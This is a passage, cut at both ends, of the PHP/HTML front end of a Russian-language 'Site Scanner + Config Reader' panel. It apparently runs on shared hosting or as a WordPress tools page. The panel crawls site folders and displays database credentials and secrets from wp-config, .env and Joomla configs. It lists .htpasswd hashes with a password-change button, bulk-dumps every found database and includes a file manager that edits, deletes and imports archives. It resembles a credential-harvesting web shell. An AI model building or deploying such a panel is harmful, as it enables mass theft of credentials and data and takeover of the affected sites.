margin-bottom: 15px; font-size: 12px; } .section-label { margin: 8px 0 5px; font-weight: 600; font-size: 13px; display: flex; align-items: center; gap: 6px; flex-wrap: wrap; } .btn-change { background: #1565c0; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; } .btn-change:hover { background: #0d47a1; } .btn-view { background: #6a1b9a; color: #fff; border: none; border-radius: 4px; padding: 2px 8px; font-size: 11px; cursor: pointer; } .btn-view:hover { background: #4a148c; } .btn-files { background: #00695c; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; } .btn-files:hover { background: #004d40; } .btn-dump { background: #5d4037; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; } .btn-dump:hover { background: #3e2723; } .btn-dump-all { background: #5d4037; color: #fff; border: none; border-radius: 6px; padding: 8px 16px; font-size: 13px; font-weight: 600; cursor: pointer; } .btn-dump-all:hover { background: #3e2723; } .btn-dump-all:disabled { opacity: .5; cursor: not-allowed; } .db-dump-panel { background: #fff; border: 1px solid #d7ccc8; border-radius: 8px; padding: 14px 16px; margin-bottom: 20px; } .db-dump-panel h3 { margin: 0 0 10px; border-bottom-color: #5d4037; } .db-dump-grid { display: grid; gap: 10px; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); } .db-dump-grid label { display: block; font-size: 11px; font-weight: 600; color: #555; margin-bottom: 3px; } .db-dump-grid input { width: 100%; padding: 6px 8px; border: 1px solid #ccc; border-radius: 4px; font-size: 12px; box-sizing: border-box; } .db-dump-snippet { width: 100%; min-height: 110px; padding: 8px 10px; border: 1px solid #ccc; border-radius: 6px; font-family: 'Consolas','Monaco',monospace; font-size: 11px; resize: vertical; box-sizing: border-box; } .db-dump-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; align-items: center; } .db-dump-msg { font-size: 12px; margin-top: 8px; } .db-dump-msg.error { color: #c62828; } .db-dump-msg.ok { color: #2e7d32; } .db-dump-site { margin-top: 12px; padding-top: 12px; border-top: 1px dashed #e0e0e0; } .db-dump-site h5 { margin: 0 0 8px; font-size: 13px; } /* ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== */ .fm-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.65); z-index: 1200; align-items: center; justify-content: center; } .fm-overlay.active { display: flex; } .fm-modal { background: #1a1a2e; border-radius: 10px; width: 92vw; max-width: 1100px; height: 85vh; display: flex; flex-direction: column; box-shadow: 0 10px 50px rgba(0,0,0,.6); overflow: hidden; } .fm-header { background: #16213e; padding: 10px 16px; display: flex; align-items: center; gap: 10px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; } .fm-title { color: #e0e0e0; font-size: 14px; font-weight: 600; } .fm-breadcrumb { flex: 1; color: #90caf9; font-size: 12px; font-family: monospace; word-break: break-all; } .fm-header-actions { display: flex; gap: 6px; } .fm-btn { background: #0f3460; color: #90caf9; border: 1px solid #1565c0; border-radius: 4px; padding: 4px 12px; font-size: 11px; cursor: pointer; } .fm-btn:hover { background: #1565c0; color: #fff; } .fm-btn-close { background: transparent; color: #aaa; border: none; font-size: 22px; cursor: pointer; line-height: 1; padding: 0 4px; } .fm-btn-close:hover { color: #fff; } .fm-body { display: flex; flex: 1; overflow: hidden; } .fm-list-pane { width: 100%; overflow-y: auto; border-right: 1px solid #0f3460; transition: width .2s; } .fm-list-pane.split { width: 38%; } .fm-table { width: 100%; border-collapse: collapse; } .fm-table th { background: #0f3460; color: #90caf9; padding: 6px 10px; font-size: 11px; text-align: left; position: sticky; top: 0; z-index: 1; } .fm-table td { padding: 5px 10px; font-size: 12px; border-bottom: 1px solid #0f3460; color: #ccc; white-space: nowrap; } .fm-table tr:hover td { background: #16213e; cursor: pointer; } .fm-table tr.selected td { background: #1565c0; color: #fff; } .fm-icon { margin-right: 5px; } .fm-name { color: #e0e0e0; } .fm-name.is-dir { color: #90caf9; font-weight: 600; } .fm-name.is-up { color: #ffcc80; } .fm-size { color: #888; font-size: 11px; text-align: right; } .fm-mtime { color: #666; font-size: 11px; } .fm-actions { text-align: right; white-space: nowrap; } .fm-btn-act { background: transparent; border: 1px solid #37474f; border-radius: 3px; padding: 2px 6px; font-size: 11px; cursor: pointer; margin-left: 3px; color: #90caf9; } .fm-btn-act:hover { background: #0f3460; border-color: #1565c0; } .fm-btn-act.danger { color: #ef9a9a; border-color: #c62828; } .fm-btn-act.danger:hover { background: #4a1515; } .fm-view-pane { flex: 1; display: flex; flex-direction: column; overflow: hidden; } .fm-view-header { background: #16213e; padding: 8px 14px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; } .fm-view-filename { color: #e0e0e0; font-size: 12px; font-family: monospace; font-weight: 600; flex: 1; } .fm-view-meta { color: #888; font-size: 11px; white-space: nowrap; } .fm-view-body { flex: 1; overflow: auto; } .fm-view-body pre { margin: 0; padding: 14px 16px; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; color: #d4d4d4; white-space: pre-wrap; word-break: break-all; background: #1a1a2e; min-height: 100%; } .fm-view-empty { color: #555; padding: 40px; text-align: center; font-size: 13px; } .fm-loading { color: #888; padding: 30px; text-align: center; font-size: 13px; } .fm-footer { background: #16213e; padding: 6px 14px; font-size: 11px; color: #666; border-top: 1px solid #0f3460; display: flex; justify-content: space-between; } /* Редактор */ .fm-edit-pane { flex: 1; display: flex; flex-direction: column; overflow: hidden; } .fm-edit-header { background: #16213e; padding: 8px 14px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; } .fm-edit-filename { color: #ffcc80; font-size: 12px; font-family: monospace; font-weight: 600; flex: 1; } .fm-edit-status { font-size: 11px; white-space: nowrap; } .fm-edit-body { flex: 1; display: flex; overflow: hidden; } .fm-editor { flex: 1; width: 100%; border: none; outline: none; resize: none; background: #0d1117; color: #c9d1d9; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; padding: 14px 16px; tab-size: 4; } .fm-btn-edit { background: #e65100; color: #fff; border: 1px solid #bf360c; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; } .fm-btn-edit:hover { background: #bf360c; } .fm-btn-save-file { background: #2e7d32; color: #fff; border: 1px solid #1b5e20; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; } .fm-btn-save-file:hover { background: #1b5e20; } .fm-btn-discard { background: #37474f; color: #cfd8dc; border: 1px solid #546e7a; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; } .fm-btn-discard:hover { background: #546e7a; } /* Просмотр конфига */ .view-modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.6); z-index: 1100; align-items: center; justify-content: center; } .view-modal-overlay.active { display: flex; } .view-modal { background: #1e1e1e; border-radius: 10px; padding: 0; min-width: 600px; max-width: 90vw; width: 860px; max-height: 85vh; display: flex; flex-direction: column; box-shadow: 0 8px 40px rgba(0,0,0,.5); } .view-modal-header { display: flex; align-items: center; justify-content: space-between; padding: 12px 18px; background: #2d2d2d; border-radius: 10px 10px 0 0; } .view-modal-title { color: #e0e0e0; font-size: 13px; font-weight: 600; font-family: monospace; } .view-modal-actions { display: flex; gap: 8px; align-items: center; } .btn-copy-file { background: #37474f; color: #cfd8dc; border: none; border-radius: 4px; padding: 4px 12px; font-size: 11px; cursor: pointer; } .btn-copy-file:hover { background: #546e7a; } .btn-close-view { background: transparent; color: #aaa; border: none; font-size: 20px; cursor: pointer; line-height: 1; padding: 0 4px; } .btn-close-view:hover { color: #fff; } .view-modal-body { overflow: auto; flex: 1; } .view-modal-body pre { margin: 0; padding: 16px 18px; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; color: #d4d4d4; white-space: pre-wrap; word-break: break-all; background: #1e1e1e; } .view-modal-footer { padding: 8px 18px; background: #2d2d2d; border-radius: 0 0 10px 10px; font-size: 11px; color: #888; display: flex; justify-content: space-between; } .view-loading { color: #888; padding: 30px; text-align: center; font-size: 13px; } /* Смена пароля */ .modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.5); z-index: 1000; align-items: center; justify-content: center; } .modal-overlay.active { display: flex; } .modal { background: #fff; border-radius: 10px; padding: 24px 28px; min-width: 360px; max-width: 480px; width: 100%; box-shadow: 0 8px 32px rgba(0,0,0,.2); } .modal h3 { margin: 0 0 16px; font-size: 16px; border: none; } .modal label { display: block; font-size: 12px; font-weight: 600; margin-bottom: 4px; color: #555; } .modal input[type=password], .modal input[type=text] { width: 100%; padding: 8px 10px; border: 1px solid #ccc; border-radius: 5px; font-size: 13px; margin-bottom: 12px; } .modal-actions { display: flex; gap: 10px; justify-content: flex-end; margin-top: 4px; } .btn-save { background: #2e7d32; color: #fff; border: none; border-radius: 5px; padding: 8px 18px; font-size: 13px; cursor: pointer; } .btn-save:hover { background: #1b5e20; } .btn-cancel { background: #f5f5f5; color: #333; border: 1px solid #ccc; border-radius: 5px; padding: 8px 18px; font-size: 13px; cursor: pointer; } .btn-cancel:hover { background: #e0e0e0; } .modal-msg { font-size: 12px; margin-top: 8px; padding: 6px 10px; border-radius: 4px; display: none; } .modal-msg.success { background: #e8f5e9; color: #2e7d32; display: block; } .modal-msg.error { background: #ffebee; color: #c62828; display: block; } .hash-new { font-size: 10px; word-break: break-all; color: #555; margin-top: 6px; } .pw-wrap { position: relative; } .pw-wrap input { padding-right: 36px; } .pw-toggle { position: absolute; right: 8px; top: 50%; transform: translateY(-60%); cursor: pointer; font-size: 16px; color: #888; user-select: none; } .btn-icon { background: transparent; border: 1px solid #ccc; border-radius: 5px; padding: 4px 8px; cursor: pointer; font-size: 14px; line-height: 1; } .btn-icon:hover { background: #e3f2fd; border-color: #90caf9; } .col-actions-icons { white-space: nowrap; text-align: center; } .site-status-toolbar { display: flex; flex-wrap: wrap; align-items: center; gap: 12px; margin: 0 0 12px; padding: 12px 14px; background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; font-size: 12px; } .site-status-toolbar label { display: flex; align-items: center; gap: 6px; cursor: pointer; color: #555; } .site-status-sel { font-size: 12px; padding: 4px 6px; border: 1px solid #ccc; border-radius: 5px; min-width: 130px; background: #fff; cursor: pointer; } .site-status-sel.status-pending { border-color: #90caf9; background: #e3f2fd; color: #0d47a1; } .site-status-sel.status-off { border-color: #ef9a9a; background: #ffebee; color: #b71c1c; } .site-status-sel.status-ok { border-color: #a5d6a7; background: #e8f5e9; color: #1b5e20; } .site-status-sel.status-unknown { border-color: #ffe082; background: #fff8e1; color: #f57f17; } .site-status-sel.dirty { box-shadow: 0 0 0 2px #1565c0; } .btn-save-statuses { background: #1565c0; color: #fff; border: none; border-radius: 5px; padding: 8px 16px; font-size: 12px; cursor: pointer; font-weight: 600; } .btn-save-statuses:hover { background: #0d47a1; } .btn-save-statuses:disabled { background: #90a4ae; cursor: default; } .site-status-msg { font-size: 12px; color: #555; } .site-status-msg.ok { color: #2e7d32; } .site-status-msg.error { color: #c62828; } tr.row-site-pending { background: #f5f9ff; } tr.row-site-off { background: #fff5f5; } tr.row-site-off td { color: #666; } tr.row-site-unknown { background: #fffde7; } .collapsible-head { cursor: pointer; user-select: none; } .collapsible-head:hover { color: #1565c0; } .configs-panel { display: none; } .configs-panel.open { display: block; } .db-info-table { width: 100%; font-size: 12px; border-collapse: collapse; } .db-info-table td, .db-info-table th { border: 1px solid #e0e0e0; padding: 6px 10px; text-align: left; } .db-info-table th { background: #f5f5f5; width: 38%; } .header-bar { display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; margin-bottom: 10px; } .btn-logout { font-size: 12px; color: #666; text-decoration: none; padding: 6px 12px; border: 1px solid #ccc; border-radius: 5px; background: #fff; } .btn-logout:hover { background: #f5f5f5; } </style> </head> <body> <div class="header-bar"> <h1 style="margin:0;">🔍 Site Scanner + Config Reader</h1> <?php if (!up_to_wp_mode()): ?> <a class="btn-logout" href="?logout=1">Выйти</a> <?php else: ?> <a class="btn-logout" href="<?php echo function_exists('admin_url') ? h(admin_url('tools.php?page=up-to-scanner')) : '#'; ?>" target="_top">К плагину</a> <?php endif; ?> </div> <div class="info-box"> <strong>📌 Автоопределение путей:</strong><br> <code>Скрипт запущен из:</code> <?php echo h($current_dir); ?><br> <code>DOCUMENT_ROOT:</code> <?php echo h($root_dir); ?><br> <code>Основная папка:</code> <strong><?php echo h($scan_dir); ?></strong> <?php if (!empty($scan_roots) && count($scan_roots) > 1): ?> <br><code>Также сканируем:</code> <?php echo h(implode(', ', array_slice($scan_roots, 1))); ?> <?php endif; ?> <?php if (!empty($scan_log)): ?> <br><br><strong>Результаты по папкам:</strong> <ul style="margin:6px 0 0;padding-left:18px;font-size:11px;"> <?php foreach ($scan_log as $log): ?> <li><code><?php echo h($log['path']); ?></code> <?php if ($log['ok']): ?> — <?php echo (int)$log['count']; ?> папок<?php if (isset($log['added'])): ?>, +<?php echo (int)$log['added']; ?> новых<?php endif; ?> <?php else: ?> — <span style="color:#c62828;"><?php echo h(isset($log['error']) ? $log['error'] : 'нет доступа'); ?></span> <?php endif; ?></li> <?php endforeach; ?> </ul> <?php endif; ?> </div> <?php if ($total === 0): ?> <div class="info-box" style="background:#fff3e0;border-color:#ffcc80;"> ⚠️ Сайты не найдены. Попробуйте: <code>?scan_dir=/home/platne/serwer30178/public_html</code> </div> <?php endif; ?> <div class="stats"> <div class="stat-card"><div class="num"><?php echo $total; ?></div><div class="lbl">Всего папок</div></div> <div class="stat-card"><div class="num"><?php echo $total-$empty; ?></div><div class="lbl">Сайтов</div></div> <div class="stat-card"><div class="num"><?php echo $with_wp; ?></div><div class="lbl">WordPress</div></div> <div class="stat-card"><div class="num"><?php echo $with_joo; ?></div><div class="lbl">Joomla</div></div> <div class="stat-card"><div class="num"><?php echo $with_env; ?></div><div class="lbl">С .env</div></div> <div class="stat-card"><div class="num"><?php echo $with_htauth; ?></div><div class="lbl">Basic Auth</div></div> <div class="stat-card"><div class="num"><?php echo (int)$with_db; ?></div><div class="lbl">С БД (дамп)</div></div> </div> <h3>🗄️ Дампы баз данных</h3> <div class="db-dump-panel"> <p style="font-size:12px;color:#555;margin:0 0 12px;"> Вставьте фрагмент wp-config, .env (Laravel), configuration.php (Joomla) — поля распознаются автоматически. </p> <label for="db-config-snippet" style="font-size:12px;font-weight:600;">Вставить конфиг БД</label> <textarea id="db-config-snippet" class="db-dump-snippet" placeholder="define('DB_NAME', 'mydb'); ..."></textarea> <div class="db-dump-actions"> <button type="button" class="btn-dump" onclick="dbParseSnippet()">🔍 Распознать</button> <button type="button" class="btn-dump" onclick="dbFillFromSnippet()">📋 Заполнить поля</button> <?php if ($with_db > 0): ?> <button type="button" class="btn-dump-all" id="btn-dump-all" onclick="dbDumpAllSites()">⬇️ Скачать все дампы (<?php echo (int)$with_db; ?>)</button> <?php endif; ?> </div> <div class="db-dump-msg" id="db-parse-msg"></div> <div class="db-dump-grid" style="margin-top:12px;"> <div><label>DB host</label><input type="text" id="db-host" value="127.0.0.1"></div> <div><label>DB port</label><input type="text" id="db-port" value="3306"></div> <div><label>DB name</label><input type="text" id="db-name"></div> <div><label>DB user</label><input type="text" id="db-user"></div> <div><label>DB password</label><input type="text" id="db-pass" autocomplete="off"></div> <div><label>DB charset</label><input type="text" id="db-charset" value="utf8mb4"></div> <div><label>Site URL / имя</label><input type="text" id="db-site-url" placeholder="https://example.com"></div> <div><label>CMS</label><input type="text" id="db-cms" placeholder="WordPress / Laravel"></div> </div> <div class="db-dump-actions"> <button type="button" class="btn-dump-all" onclick="dbDumpManual()">⬇️ Скачать .sql.gz</button> </div> <div class="db-dump-msg" id="db-dump-msg"></div> </div> <h3>📋 Обзор сайтов</h3> <div class="site-status-toolbar"> <button type="button" class="btn-save-statuses" id="btn-save-statuses" onclick="siteSaveAllStatuses()" disabled>💾 Сохранить статусы</button> <span class="site-status-msg" id="site-status-msg">Файл: <code><?php echo h(site_status_file_path()); ?></code></span> <label><input type="checkbox" id="filter-status-off" onchange="siteFilterByStatus()"> Только «не работает»</label> <label><input type="checkbox" id="filter-status-unknown" onchange="siteFilterByStatus()"> Только «не проверен»</label> </div> <table id="sites-overview-table"> <thead> <tr> <th>#</th><th>Папка</th><th>CMS / Тип</th> <th>.env</th><th>wp-config</th><th>Joomla cfg</th> <th>БД</th> <th>Статус</th> <th title="Просмотр данных БД">👁</th> <th title="Вставить конфиг">✏️</th> <th>.htaccess Auth</th><th>Nginx Auth</th><th>index</th><th>Путь</th><th>Действия</th> </tr> </thead> <tbody> <?php $i=0; foreach ($sites as $site): $i++; $site_row_json = json_encode(array( 'name' => $site['name'], 'path' => $site['path'], 'cms' => $site['cms'], 'site_url' => !empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'], 'site_active'=> !empty($site['site_active']), 'has_db' => !empty($site['has_db_creds']), 'db_creds' => !empty($site['db_creds']) ? $site['db_creds'] : null, 'db_info' => site_db_info_rows($site), ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); $st = isset($site['status']) ? $site['status'] : 'pending'; $row_class = $st === 'off' ? 'row-site-off' : ($st === 'unknown' ? 'row-site-unknown' : ($st === 'pending' ? 'row-site-pending' : '')); $status_key = isset($site['status_key']) ? $site['status_key'] : $site['name']; ?> <tr class="<?php echo h($row_class); ?>" data-site-path="<?php echo h($site['path']); ?>" data-status="<?php echo h($st); ?>"> <td><?php echo $i; ?></td> <td> <strong><?php echo h($site['name']); ?></strong> <?php if (!empty($site['domain_hint'])): ?> <br><span class="path"><?php echo h($site['domain_hint']); ?></span> <?php endif; ?> </td> <td><span class="badge <?php echo cms_badge($site['cms']); ?>"><?php echo h($site['cms']); ?></span></td> <td><?php echo $site['has_env'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td> <td><?php echo $site['has_wp_config'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td> <td><?php echo $site['has_joomla_config'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td> <td><?php echo !empty($site['has_db_creds']) ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?> <?php if (!empty($site['db_creds_manual'])): ?><span style="font-size:10px;color:#1565c0;" title="Сохранено вручную">✎</span><?php endif; ?> </td> <td> <select class="site-status-sel status-<?php echo h($st); ?>" data-site-key="<?php echo h($status_key); ?>" data-initial="<?php echo h($st); ?>" title="<?php echo h($site['path']); ?>" onchange="siteStatusChanged(this)"> <option value="pending" <?php echo $st === 'pending' ? 'selected' : ''; ?>>⏳ Ожидает</option> <option value="ok" <?php echo $st === 'ok' ? 'selected' : ''; ?>>✅ Работает</option> <option value="off" <?php echo $st === 'off' ? 'selected' : ''; ?>>❌ Не работает</option> <option value="unknown" <?php echo $st === 'unknown' ? 'selected' : ''; ?>>❓ Не проверен</option> </select> </td> <td class="col-actions-icons"> <button type="button" class="btn-icon" title="Данные БД" onclick='siteShowDbInfo(<?php echo $site_row_json; ?>)'>👁</button> </td> <td class="col-actions-icons"> <button type="button" class="btn-icon" title="Вставить wp-config / .env" onclick='siteEditDbConfig(<?php echo $site_row_json; ?>)'>✏️</button> </td> <td><?php echo !empty($site['htaccess_vars']['auth_type']) ? '<span class="yes">✔ Basic</span>' : '<span class="no">✘</span>'; ?></td> <td><?php echo !empty($site['nginx_vars']['auth_basic']) ? '<span class="yes">✔ Basic</span>' : '<span class="no">✘</span>'; ?></td> <td><?php echo $site['has_index'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>'; ?></td> <td class="path"><?php echo h($site['path']); ?></td> <td> <button class="btn-files" onclick="openFM('<?php echo h(addslashes($site['path'])); ?>','<?php echo h(addslashes($site['name'])); ?>')">📁 Файлы</button> <?php if (!empty($site['has_db_creds'])): ?> <button class="btn-dump" onclick='dbDumpSite(<?php echo json_encode(array( "name" => $site["name"], "cms" => $site["cms"], "site_url" => !empty($site["domain_hint"]) ? $site["domain_hint"] : $site["name"], "db_creds" => $site["db_creds"], ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>)'>⬇️ Дамп</button> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <h3 class="collapsible-head" onclick="toggleConfigsPanel()" title="Нажмите, чтобы развернуть"> 📄 Конфигурации сайтов <span id="configs-toggle-icon">▶</span> </h3> <div class="configs-panel" id="configs-panel"> <?php foreach ($sites as $site): ?> <div class="config-block"> <h4> <?php echo h($site['name']); ?> <span class="badge <?php echo cms_badge($site['cms']); ?>"><?php echo h($site['cms']); ?></span> <span style="font-size:11px;color:#888;"> — <?php echo h($site['path']); ?></span> <button class="btn-files" style="margin-left:8px;" onclick="openFM('<?php echo h(addslashes($site['path'])); ?>','<?php echo h(addslashes($site['name'])); ?>')">📁 Файлы</button> <?php if (!empty($site['has_db_creds'])): ?> <button class="btn-dump" style="margin-left:4px;" onclick='dbDumpSite(<?php echo json_encode(array( "name" => $site["name"], "cms" => $site["cms"], "site_url" => !empty($site["domain_hint"]) ? $site["domain_hint"] : $site["name"], "db_creds" => $site["db_creds"], ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>)'>⬇️ Дамп БД</button> <?php endif; ?> </h4> <div class="db-dump-site"> <p class="section-label">🗄️ База данных</p> <?php if (!empty($site['has_db_creds'])): ?> <p style="font-size:11px;color:#555;margin:0 0 8px;"> <code><?php echo h($site['db_creds']['db_user']); ?></code> → <code><?php echo h($site['db_creds']['db_name']); ?></code> @ <code><?php echo h($site['db_creds']['db_host']); ?>:<?php echo h($site['db_creds']['db_port']); ?></code> </p> <?php else: ?> <p style="font-size:11px;color:#999;margin:0 0 8px;">Учётные данные не найдены в конфигах — вставьте фрагмент ниже.</p> <?php endif; ?> <textarea class="db-dump-snippet db-site-snippet" rows="4" placeholder="Вставьте wp-config / .env / configuration.php..." data-site="<?php echo h($site['name']); ?>"></textarea> <div class="db-dump-actions" style="margin-top:6px;"> <button type="button" class="btn-dump" onclick="dbParseSiteSnippet('<?php echo h(addslashes($site['name'])); ?>', '<?php echo h(addslashes($site['cms'])); ?>', '<?php echo h(addslashes(!empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'])); ?>')">🔍 Распознать и скачать</button> </div> </div> <?php if (!empty($site['env_vars'])): ?> <p class="section-label">.env <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/.env')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button> </p> <table class="config-table"> <?php foreach ($site['env_vars'] as $k => $v): ?> <tr> <td><code><?php echo h($k); ?></code></td> <td><?php echo preg_match('/PASSWORD|SECRET|KEY/i',$k) ? '<span class="password">'.h($v).'</span>' : h($v); ?></td> </tr> <?php endforeach; ?> </table> <?php endif; ?> <?php if (!empty($site['wp_vars'])): ?> <p class="section-label">wp-config.php <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/wp-config.php')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button> </p> <table class="config-table"> <?php foreach ($site['wp_vars'] as $k => $v): ?> <tr> <td><code><?php echo h($k); ?></code></td> <td><?php echo stripos($k,'PASSWORD')!==false ? '<span class="password">'.h($v).'</span>' : h($v); ?></td> </tr> <?php endforeach; ?> </table> <?php endif; ?> <?php if (!empty($site['joo_vars'])): ?> <p class="section-label">configuration.php (Joomla) <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/configuration.php')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button> </p> <table class="config-table"> <?php foreach ($site['joo_vars'] as $k => $v): ?> <tr> <td><code><?php echo h($k); ?></code></td> <td><?php echo stripos($k,'password')!==false ? '<span class="password">'.h($v).'</span>' : h($v); ?></td> </tr> <?php endforeach; ?> </table> <?php endif; ?> <?php if (!empty($site['htaccess_vars'])): ?> <p class="section-label">🔒 .htaccess — Basic Auth <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/.htaccess')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button> </p> <table class="config-table"> <?php foreach ($site['htaccess_vars'] as $k => $v): ?> <tr> <td><code><?php echo h($k); ?></code></td> <td> <?php if ($k === 'protected_files') { $pf_items = array_map('trim', explode(',', $v)); foreach ($pf_items as $pf_item) { $pf_clean = trim($pf_item, '"\''); $pf_path = $site['path'] . '/' . $pf_clean; echo h($pf_item); if (@file_exists($pf_path)) { echo ' <button class="btn-view" onclick="viewFile(\'' . h(addslashes($pf_path)) . '\',\'' . h(addslashes($site['path'])) . '\')">👁</button>'; } echo ' '; } } else { echo h($v); } ?> </td> </tr> <?php endforeach; ?> </table> <?php endif; ?> <?php if (!empty($site['htpasswd_users'])): ?> <p class="section-label">👤 .htpasswd — пользователи <span style="font-size:11px;color:#888;font-weight:normal;">(<?php echo h($site['htpasswd_file']); ?>)</span> <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['htpasswd_file'])); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button> </p> <table class="config-table"> <tr><th>Логин</th><th>Хеш пароля</th><th>Действие</th></tr> <?php foreach ($site['htpasswd_users'] as $u): ?> <tr> <td><strong><?php echo h($u['user']); ?></strong></td> <td><span class="password" style="font-size:10px;word-break:break-all;" id="hash-<?php echo h($site['name'].'-'.$u['user']); ?>"><?php echo h($u['hash']); ?></span></td> <td> <button class="btn-change" onclick="openModal('<?php echo h(addslashes($u['user'])); ?>','<?php echo h(addslashes($site['htpasswd_file'])); ?>','<?php echo h($site['name'].'-'.$u['user']); ?>')">🔓 Изменить пароль</button> </td> </tr> <?php endforeach; ?> </table> <?php endif; ?> <?php if (!empty($site['nginx_vars']) && count($site['nginx_vars']) > 1): ?> <p class="section-label">🌐 Nginx конфиг</p> <table class="config-table"> <?php foreach ($site['nginx_vars'] as $k => $v): ?> <tr><td><code><?php echo h($k); ?></code></td><td><?php echo h($v); ?></td></tr> <?php endforeach; ?> </table> <?php endif; ?> <?php if (empty($site['env_vars'])&&empty($site['wp_vars'])&&empty($site['joo_vars'])&&empty($site['has_db_creds'])&&empty($site['htaccess_vars'])&&empty($site['htpasswd_users'])&&(empty($site['nginx_vars'])||count($site['nginx_vars'])<=1)): ?> <p style="color:#999;margin:0;">Нет найденных конфигов</p> <?php endif; ?> </div> <?php endforeach; ?> </div> <p style="margin-top:15px;color:#999;font-size:12px;">Сканирование завершено. Найдено папок: <?php echo $total; ?>.</p> <!-- ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== --> <div class="fm-overlay" id="fm-overlay"> <div class="fm-modal"> <div class="fm-header"> <span class="fm-title">📁 <span id="fm-site-name"></span></span> <span class="fm-breadcrumb" id="fm-breadcrumb"></span> <div class="fm-header-actions"> <button class="fm-btn" onclick="fmImportArchive()">📦 Импорт архива</button> <button class="fm-btn" onclick="fmNewFile()">➕ Новый файл</button> <button class="fm-btn" onclick="fmCopyPath()">📋 Путь</button> <button class="fm-btn-close" onclick="closeFM()">✕</button> </div> </div> <div class="fm-body" id="fm-body"> <div class="fm-list-pane" id="fm-list-pane"> <div class="fm-loading">⏳ Загрузка...</div> </div> <!-- ПАНЕЛЬ ПРОСМОТРА --> <div class="fm-view-pane" id="fm-view-pane" style="display:none;"> <div class="fm-view-header"> <span class="fm-view-filename" id="fm-view-filename"></span> <span class="fm-view-meta" id="fm-view-meta"></span> <button class="fm-btn" onclick="fmCopyContent()">📋</button> <button class="fm-btn-act" id="fm-btn-rename" onclick="fmRenameSelected()">✏️ Имя</button> <button class="fm-btn-act danger" id="fm-btn-delete" onclick="fmDeleteSelected()">🗑️</button> <button class="fm-btn-edit" id="fm-btn-edit" onclick="fmStartEdit()">✏️ Редактировать</button> </div> <div class="fm-view-body" id="fm-view-body"> <div class="fm-view-empty">← Выберите файл для просмотра</div> </div> </div> <!-- ПАНЕЛЬ РЕДАКТОРА --> <div class="fm-edit-pane" id="fm-edit-pane" style="display:none;"> <div class="fm-edit-header"> <span class="fm-edit-filename">✏️ <span id="fm-edit-filename"></span></span> <span class="fm-edit-status" id="fm-edit-status"></span> <button class="fm-btn-save-file" onclick="fmSaveFile()">💾 Сохранить</button> <button class="fm-btn-discard" onclick="fmDiscardEdit()">✕ Отмена</button> </div> <div class="fm-edit-body"> <textarea class="fm-editor" id="fm-editor" spellcheck="false"></textarea> </div> </div> </div> <div class="fm-footer"> <span id="fm-status"></span> <span id="fm-selected-path" style="font-family:monospace;font-size:11px;"></span> </div> </div> </div> <input type="file" id="fm-archive-input" accept=".zip,application/zip" style="display:none;"> <!-- МОДАЛЬНОЕ ОКНО ПРОСМОТРА КОНФИГА --> <div class="view-modal-overlay" id="view-modal-overlay"> <div class="view-modal"> <div class="view-modal-header"> <span class="view-modal-title" id="view-modal-title">файл</span> <div class="view-modal-actions"> <button class="btn-copy-file" onclick="copyFileContent()">📋 Копировать</button> <button class="btn-close-view" onclick="closeViewModal()">✕</button> </div> </div> <div class="view-modal-body" id="view-modal-body"><div class="view-loading">Загрузка...</div></div> <div class="view-modal-footer"> <span id="view-modal-path"></span> <span id="view-modal-size"></span> </div> </div> </div> <!-- МОДАЛЬНОЕ ОКНО СОЗДАНИЯ ФАЙЛА --> <div class="modal-overlay" id="fm-newfile-overlay" style="z-index:1300;"> <div class="modal" style="max-width:600px;"> <h3>➕ Создать новый файл</h3> <p style="font-size:12px;color:#555;margin:0 0 12px;"> Директория: <code id="fm-newfile-dir" style="font-size:10px;word-break:break-all;"></code> </p> <label>Имя файла</label> <input type="text" id="fm-newfile-name" placeholder="например: 